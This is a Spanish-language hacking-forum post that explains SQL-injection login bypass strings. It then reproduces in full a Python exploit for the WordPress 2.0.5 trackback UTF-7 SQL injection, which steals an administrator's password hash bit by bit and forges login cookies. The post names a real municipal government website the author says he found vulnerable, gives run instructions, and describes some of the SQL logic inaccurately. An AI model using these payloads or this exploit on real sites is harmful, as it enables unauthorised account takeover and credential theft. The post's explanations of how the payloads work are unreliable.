Mi querido xrollerman y comunidad en general, hace tiempo me registre a esta web y no habia posteado nunca (creo. Soy desarrollador de webs en diversos lenguajes, incluido el ASP. Es claro como dice XRollerman (A quien le digo que le queda mejor con la X, le da mas presencia) que si una web esta programada en ASP puede ejecutar codigos sobre plataformas SQL, ORACLE, Access, etc., de hecho hace poco me asignaron la tarea de rastrear estos errores en una web de mi ciudad
Necesitas ser usuario para ver los enlaces
Crear Usuario Hacer Sesionwww.hcdsc.gov.ar
a la cual le encontre estos accesos. Mas alla de eso, les comento que si la web no tiene una plataforma SQL en su BD va a ser muy dificil creo yo en inyectarle codigo malicioso por SQL

Para quienes quieran aprender a hackear por SQL, ORACLE o cualquier otra base de datos, les recomiendo aprender sobre estos lenguajes, saber en donde estan las partes flojas, como desarrollador es mi obligacion saber si un servidor esta bien configurado, si las iptables no tienen errores, si un proxy, router o firewall estan bien configurados, etc. y como se ejecutan dichos codigos, ya que si sabemos como funcionan, sabremos como explotarlos.
Recien veia que alguien publico esto:
' or 'a'='a para ser ingresado en el user y/o pass, supongo que saben lo que significa, pero por si acaso lo explico.
Al ingresar ' or 'a'='a le estamos diciendo al script que nos devuelva todos los usuarios que empiecen por A y cuyo login sea vacio o igual a A, lo mismo con las claves, nos devolvera todas las que empiecen desde ningun hasta todos los caracteres, o sea, tendremos, teoricamente, un listado de todos los usuarios y su respectiva claves. Esto no esta bien tipeado por lo que veo, ya que el codigo real seria: ' ' or 'a' = 'a'
Esto (aparentemente extraido de la revista GEEK) sirve en algunas webs, pero vamos a probar con algo mas global. Manejemos codigos binarios , es decir, 1 es igual a verdadero y 0 igual a falso (lenguaje universal de la informatica y la matematica) o sea que el codigo podria ser algo asi en el user: '' or '1' y en la clave lo mismo. Esto queda asi en el SQL;
select usuario, clave, nombre, admin
from USERS where usuario=' ' or '1' and clave= ' ' or '1'
Traduccion; Mostrame el usuario que sea igual a vacio (ninguno) o verdadera (todas) y cuya clave sea igual a vacio (ninguna) o igual a verdadera (todas). Esto deberia traer a todos los usuarios de la tabla pero con el primero te alcanzaria ya que al armar una web con sistemas de administracion y privilegios, al primero que creamos es al admin (caso PHP Nuke).
En caso que el login sea un mail la cadena seria algo como: yo @yo.com 'or' .11´=' .11
De este modo si se verifica existencia del @ la string no tendra problemas.
No usen estos ejemplos con COPIAR Y PEGAR ya que acabo de notar que le erre a las comillas y puse cualquieras, pero mejor aun, ya que de esa forma investigan mas a fondo
Les agradezco el tiempo para leer estas lineas y les dejo un codigo para que se diviertan (armen la interpretacion primero

) y espero que les sirva a todos para aprender y no para jugar a ser el hacker, ya que si nos dan las cosas servidas en bandeja, cualquiera es hacker.
Codigo de ejecucion remota de SQL sobre paginas ASP basada en una vulnerabilidad de Wordpress 2.0.5 (cuidado con las comillas simples):
#!/usr/bin/python
import urllib
import getopt
import sys
import string
import re
import time
import datetime
import md5
__argv__ = sys.argv
def banner():
print "Wordpress 2.0.5 - Trackback UTF-7 SQL injection exploit"
print "Copyright (C) 2006 Stefan Esser/Hardened-PHP Project"
print " *** DO NOT DISTRIBUTE ***\n"
def usage():
banner()
print "Usage:\n"
print " $ ./wordpressx.py [options]\n"
print " -h http_url url of the Wordpress blog"
print " f.e.
Necesitas ser usuario para ver los enlaces
Crear Usuario Hacer Sesion"
print " -p id id of posting to exploit trackback (default: 1)"
print " -i id User id to steal password hash for(default: -1)"
print " -u username username to steal password hash for (default: ...)"
print ""
sys.exit(-1)
def determineCookieHash(host):
wclient = urllib.URLopener()
print "
- Connecting to retrieve cookie hash"
try:
req = wclient.open(host + "/wp-login.php?action=logout")
except IOError, e:
if e[1] == 302:
# Got a 302 redirect, but check for cookies before redirecting.
# e[3] is a httplib.HTTPMessage instance.
if e[3].dict.has_key('set-cookie'):
cookie = e[3].dict['set-cookie'];
chash = cookie[string.find(cookie, "user_")+5:]
chash = chash[:string.find(chash, "=")]
print "
- Cookie hash found: %s" % chash
return chash
print "[-] Unable to retrieve cookie... something is wrong"
sys.exit(-3)
return ""
def determineIsMbstringInstalled(host, pid):
wclient = urllib.URLopener()
print "
- Connecting to check if mbstring is installed"
params = {
'charset' : 'UTF-7',
'title' : '+ADA-'
}
try:
req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params))
except IOError, e:
if e[1] == 302:
print "
- ext/mbstring is installed. continue with exploit"
return 1
content = req.read()
if string.find(content, 'error>1</error>') != -1:
print "[-] Illegal posting id choosen, test impossible"
sys.exit(-2)
print "[-] ext/mbstring not installed... exploit not possible"
sys.exit(-2)
return 0
def determineTablePrefix(host, pid):
wclient = urllib.URLopener()
print "
- Connecting to determine mysql table prefix"
params = {
'charset' : 'UTF-7',
'title' : 'None',
'url' : 'None',
'excerpt' : 'None',
'blog_name' : '+ACc-ILLEGAL'
}
try:
req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params))
except IOError, e:
if e[1] == 302:
print "[-] Table prefix cannot be determined... exploit not possible"
sys.exit(-2)
return ""
content = req.read()
f = re.search('FROM (.*)comments WHERE', content)
if f != None:
prefix = f.group(1)
print "
- Table prefix is: %s" % prefix
return prefix
print "[-] Table prefix cannot be determined... exploit not possible"
sys.exit(-2)
return ""
def lockTrackbacks(host, pid):
now = datetime.datetime.utcnow()
now = now.replace(microsecond = 0)
future = now + datetime.timedelta(days=1)
future = future.replace(microsecond = 0)
wclient = urllib.URLopener()
print "
- Connecting to lock trackbacks"
author = "Mark Mouse"
author_email = "mark @incidents.org"
author_url = ""
author_ip = "210.35.2.3"
agent = "Internet Explorer"
futuredate = future.isoformat(' ')
futuredate_gmt = future.isoformat(' ')
date = now.isoformat(' ')
date_gmt = now.isoformat(' ')
sql = "%s','%s','%s','%s','%s','%s','','0','%s','comment','0','0'),('0', '', '', '', '', '%s', '%s', '', 'spam', '', 'comment', '0','0' ) /*" % \
( author , author_email , author_url , author_ip , date , date_gmt , agent, futuredate, futuredate_gmt )
sql = string.replace(sql, "'", "+ACc-")
params = {
'charset' : 'UTF-7',
'title' : 'None',
'url' : 'None',
'excerpt' : 'None',
'blog_name' : sql
}
try:
req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params))
except IOError, e:
if e[1] == 302:
print "[-] Table prefix cannot be determined... exploit not possible"
sys.exit(-2)
return ""
content = req.read()
return ""
def checkUsername(host, pid, prefix, name, uid):
wclient = urllib.URLopener()
print "
- Connecting to check if user %s is present" % name
if uid != -1:
sql = "' AND 1=0) UNION SELECT 1 FROM %susers WHERE ID='%s' /*" % (prefix, uid)
else:
sql = "' AND 1=0) UNION SELECT 1 FROM %susers WHERE user_login='%s' /*" % (prefix, name)
sql = string.replace(sql, "'", "+ACc-")
params = {
'charset' : 'UTF-7',
'title' : 'None',
'url' : 'None',
'excerpt' : 'None',
'blog_name' : sql
}
req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params))
content = req.read()
if string.find(content, 'Duplicate') != -1:
return 1
if string.find(content, 'Doppelter') != -1:
return 1
if uid != -1:
print "[-] Error user_id invalid"
else:
print "[-] Error username invalid"
sys.exit(-2)
return 0
def bruteforceBit(host, pid, prefix, name, uid, bit):
wclient = urllib.URLopener()
nibble = (bit / 4) + 1
bit = (bit % 4) + 1
sql = "' AND 1=0) UNION SELECT 1 FROM %susers WHERE " % prefix
if uid != -1:
sql = sql + "ID='%s'" % uid
else:
sql = sql + "user_login='%s'" % name
sql = sql + " and substring(reverse(lpad(conv(substring(user_pass, %d,1), 16, 2),4,'0')),%d,1)='1' /*" % (nibble, bit)
sql = string.replace(sql, "'", "+ACc-")
params = {
'charset' : 'UTF-7',
'title' : 'None',
'url' : 'None',
'excerpt' : 'None',
'blog_name' : sql
}
req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params))
content = req.read()
if string.find(content, '15 seconds') != -1:
return 0
if string.find(content, '15 Sekunden') != -1:
return 0
if string.find(content, 'Duplicate') != -1:
return 1
if string.find(content, 'Doppelter') != -1:
return 1
print "[-] Error retrieving password hash: unexpected reply at bit %d" % bit
sys.exit(-2)
return ""
def bruteforce(host, pid, prefix, name, uid):
phash = ""
print "
- Retrieving the password hash bit by bit"
for i in range(32):
nibble = 0
for j in range(4):
nibble = nibble | (bruteforceBit(host, pid, prefix, name, uid, i*4+j) << j)
phash = phash + "%x" % nibble
return phash
def main():
try:
opts, args = getopt.getopt(sys.argv[1:], "h:i:u:p:e:d:")
except getopt.GetoptError:
usage()
if len(__argv__) < 2:
usage()
username = 'admin'
password = None
email = None
domain = None
host = None
pid = 1
uid = -1
for o, arg in opts:
if o == "-h":
host = arg
if o == "-p":
pid = arg
if o == "-i":
uid = arg
if o == "-u":
username = arg
if o == "-e":
email = arg
if o == "-d":
domain = arg
# Printout banner
banner()
# Check if everything we need is there
if host == None:
print "[-] need a host to connect to"
sys.exit(-1)
# if username == None:
# print "[-] username needed to continue"
# sys.exit(-1)
# if password == None:
# print "[-] password needed to continue"
# sys.exit(-1)
# if email == None:
# print "[-] email address needed to continue"
# sys.exit(-1)
# if domain == None:
# print "[-] catch all domain needed to continue"
# sys.exit(-1)
determineIsMbstringInstalled(host, pid)
chash = determineCookieHash(host)
lockTrackbacks(host, pid)
prefix = determineTablePrefix(host, pid)
checkUsername(host, pid, prefix, username, uid)
phash = bruteforce(host, pid, prefix, username, uid)
print "
print " The password hash is %s" % phash
m = md5.new()
m.update(phash)
cphash = m.hexdigest()
print " The logincookies are:"
print " wordpressuser_%s=%s" % (chash, username)
print " wordpresspass_%s=%s" % (chash, cphash)
if __name__ == "__main__":
main()
# milw0rm.com [2007-01-07]
Por las dudas, aca les dejo como "compilarlo" para linux:
Python:
———
python archivo.py
Bash:
——
sh archivo.sh
./archivo.sh (Si se le dan permisos de ejecucion)
NOTA: Perl, Python y Bash no se compilan, son interpretados, se ejecutan segun se interpretan.
Hasta prontito y perdonen el abuso de los smilies, pero acabo de describrirlos.